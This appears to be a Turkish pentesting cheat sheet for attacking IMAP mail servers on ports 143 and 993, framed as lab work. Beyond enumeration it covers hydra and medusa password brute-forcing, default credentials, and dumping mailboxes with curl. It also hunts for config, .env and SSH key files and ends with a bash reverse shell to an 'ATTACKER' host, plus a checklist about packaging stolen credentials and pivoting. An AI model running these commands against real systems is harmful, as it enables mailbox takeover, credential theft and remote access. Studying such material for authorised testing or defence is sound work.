Skip to content

143,993 - Pentesting IMAP

IMAP mail

IMAP posta kutusu erişimidir. Zayıf parola = tüm mail ve credential loot. Hedef lab IP’si üzerinde komutları 143 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 143/993 doğrula.

  2. Capability.

  3. Brute.

  4. Mail dump.

Terminal window
nmap -Pn -sV -p143,993 TARGET
Terminal window
nmap -Pn -p143,993 --script imap-capabilities,imap-brute TARGET
Terminal window
openssl s_client -connect TARGET:993 -quiet
Terminal window
hydra -L users.txt -P pass.txt imap://TARGET
Terminal window
nmap -p143 --script imap-brute TARGET
Terminal window
curl -k imaps://user:pass@TARGET/INBOX
Terminal window
mpop / offlineimap dump

,993 - IMAP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p143,993 TARGET
Terminal window
nmap -Pn -p143 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:143' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',143));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,993 - IMAP
Terminal window
hydra -L users.txt -P rockyou.txt -s 143 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 143
Terminal window
nmap -p143 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit IMAP
Terminal window
msfconsole -q -x 'search IMAP; exit'
Terminal window
nuclei -u https://TARGET:143 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:143 -tags tech -silent || true
Terminal window
nc -nv TARGET 143
Terminal window
printf '
' | timeout 3 nc -nv TARGET 143
Terminal window
curl -vk --http1.0 http://TARGET:143/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
brute → IMAP login → mail secrets